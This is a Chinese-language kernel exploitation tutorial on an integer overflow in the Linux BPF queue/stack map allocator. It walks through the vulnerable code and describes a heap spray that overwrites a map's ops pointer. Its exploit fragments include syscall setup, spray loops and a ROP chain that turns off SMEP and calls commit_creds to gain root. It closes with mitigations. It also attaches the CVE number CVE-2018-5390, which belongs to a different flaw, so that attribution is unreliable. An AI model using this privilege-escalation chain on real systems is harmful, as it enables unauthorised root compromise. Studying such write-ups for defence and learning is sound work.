Linux Kernel Exploit 内核漏洞学习(5)-整数溢出
字数 1287 2025-08-03 16:49:53
Linux内核漏洞分析:BPF整数溢出漏洞(CVE-2018-5390)
漏洞概述
本漏洞是Linux内核BPF子系统中的一个整数溢出漏洞,影响Linux Kernel 4.20rc1-4.20rc4版本。该漏洞通过精心构造的BPF_MAP_CREATE系统调用参数,导致内核内存分配异常,最终可实现权限提升。
前置知识
BPF简介
BPF(Berkeley Packet Filter)是一种内核代码注入技术,提供了一种在不修改内核代码的情况下灵活修改内核处理策略的方法,主要用于包过滤和系统tracing场景。
整数溢出原理
在计算机中,整数类型都有固定宽度(如32位、64位)。当数值超过该类型能表示的范围时,会发生溢出。例如32位无符号整数的最大值是0xFFFFFFFF,加1后会溢出变为0。
漏洞分析
漏洞触发流程
SYSCALL_DEFINE3(bpf)→map_create()→find_and_alloc_map()→queue_stack_map_alloc()
关键漏洞代码
static struct bpf_map *queue_stack_map_alloc(union bpf_attr *attr)
{
u32 size, value_size;
u64 queue_size, cost;
size = attr->max_entries + 1; // 整数溢出点
value_size = attr->value_size;
queue_size = sizeof(*qs) + (u64) value_size * size;
// 后续内存分配基于错误的queue_size
}
漏洞细节
-
整数溢出:
attr->max_entries是用户可控的32位无符号整数- 当
attr->max_entries=0xFFFFFFFF时,size = 0xFFFFFFFF + 1 = 0
-
内存分配错误:
queue_size = sizeof(*qs) + value_size * 0 = sizeof(*qs)- 实际只分配了管理结构体的大小,没有分配足够的数据存储空间
-
堆溢出:
- 后续通过
map_update_elem操作时,会向这块过小的内存区域写入数据 - 写入长度由用户控制的
value_size决定,导致越界写入
- 后续通过
漏洞利用
利用思路
- 利用整数溢出分配过小的
bpf_queue_stack结构体 - 通过堆喷技术在漏洞对象周围布置可控对象
- 利用堆溢出覆盖相邻对象的虚函数表指针
- 伪造虚函数表,劫持控制流
关键数据结构
struct bpf_queue_stack {
struct bpf_map map; // 第一个成员是虚表指针
raw_spinlock_t lock;
u32 head, tail;
u32 size;
char elements[0] __aligned(8);
};
struct bpf_map {
const struct bpf_map_ops *ops; // 虚表指针
// ...其他成员...
};
利用步骤
- 创建两个
bpf_queue_stack对象 - 触发第一个对象的整数溢出漏洞
- 通过堆溢出覆盖第二个对象的
ops虚表指针 - 将虚表指针指向用户空间构造的伪造虚表
- 在伪造虚表中设置
map_free函数指针为ROP链地址 - 关闭文件描述符触发
map_free,执行ROP链提权
EXP分析
关键操作
-
触发漏洞:
*(uint32_t*)0x200011c0 = 0x17; // BPF_MAP_QUEUE类型 *(uint32_t*)0x200011c4 = 0; // key_size *(uint32_t*)0x200011c8 = 0x40; // value_size *(uint32_t*)0x200011cc = -1; // max_entries=0xFFFFFFFF -
堆喷布局:
for(i=0;i<SPRAY_NUMBER;i++){ victim[i] = syscall(__NR_bpf, 0, 0x200011c0, 0x2c); } -
触发溢出:
*(uint64_t*)0x20000140 = 0xa000000000; // 覆盖虚表指针 syscall(__NR_bpf, 2, 0x200000c0, 0x20); // BPF_MAP_UPDATE_ELEM -
触发控制流劫持:
for(i=0;i<SPRAY_NUMBER;i++){ close(victim[i]); // 触发map_free }
ROP链构造
unsigned long rop_chain[] = {
popraxret,
0x6f0,
native_write_cr4, // 关闭SMEP
poprdiret,
0,
PREPARE_KERNEL_CRED, // 准备root凭证
poprdiret,
COMMIT_CREDS, // 提交凭证
swapgs, // 切换回用户态GS
iretq, // 返回用户态
(unsigned long)&get_shell,
user_cs,
user_rflags,
user_stack,
user_ss
};
防护措施
- 内核已修复补丁:在
queue_stack_map_alloc中添加对attr->max_entries的校验 - 启用KASLR、SMEP、SMAP等防护机制
- 限制非特权用户的BPF使用
总结
该漏洞展示了如何通过精心构造的系统调用参数触发内核整数溢出,进而导致堆溢出和权限提升。漏洞利用的关键在于:
- 理解BPF子系统的内存管理机制
- 利用整数溢出控制内存分配大小
- 通过堆布局和溢出实现虚表劫持
- 构造ROP链绕过防护机制实现提权
此漏洞的分析对于理解内核漏洞的发现、分析和利用具有重要参考价值。